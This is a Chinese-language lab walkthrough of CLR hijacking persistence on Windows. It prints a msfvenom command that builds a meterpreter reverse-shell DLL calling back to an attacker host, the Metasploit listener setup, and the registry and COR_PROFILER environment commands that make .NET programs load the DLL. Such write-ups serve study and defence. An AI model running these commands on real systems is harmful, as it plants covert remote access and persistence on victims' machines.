环境说明
| IP | HOSTNAME | NOTE |
|---|---|---|
| 172.16.106.67 | Kali Linux | 攻击者主机 |
| 10.10.10.88 | Windows 10 | 受害者主机 |
前言
什么是CLR劫持
-
维基百科定义:通用语言执行平台(Common Language Runtime,简称CLR)是微软为他们的.NET的虚拟机所选用的名称。它是微软对通用语言架构(CLI)的实现版本,它定义了一个代码执行的环境。CLR执行一种称为通用中间语言的字节码,这个是微软的通用中间语言实现版本。开发人员使用高级编程语言撰写程序。接下来编译器将代码编译成微软的中继语言(MSIL)。执行的时候CLR会将MSIL码转换为操作系统的原生码(Native code)。
-
可以理解成,让系统在执行.NET程序的时候先执行一个你指定的dll文件。
复现过程
0x01 MSF生成Payload
- 通过MSF生成DLL形式的Payload,这里有个细节注意:针对64位操作系统我们要生成64位的DLL Payload
sudo msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2334 -f dll > hunter0x07.dll

- 将Payload通过某种方式投放到受害者主机,这里采用的是web服务的形式投放。

0x02 攻击者主机开启监听
- 根据我们生成Payload时指定的主机、端口进行监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2334
exploit

0x03 修改注册表
- 修改注册表,指定注册表键值为Payload所在绝对路径
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /VE /T REG_SZ /D "E:\payload\hunter0x07.dll" /F
REG ADD "HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1234-1234-1234-111111111111}\InProcServer32" /V ThreadingModel /T REG_SZ /D Apartment /F


- 如上图所示注册表修改成功!
0x04 配置全局环境变量
SETX COR_ENABLE_PROFILING 1 /M
SETX COR_PROFILER {11111111-1234-1234-1234-111111111111} /M

0x05 启动.NET程序
- 启动Powershell程序


- 如上图所示,可以肯定的是打开Powershell的时候调用了hunter0x07.dll,不过session建立关闭了,具体原因暂时不知,但是看来CLR劫持方法是可行的。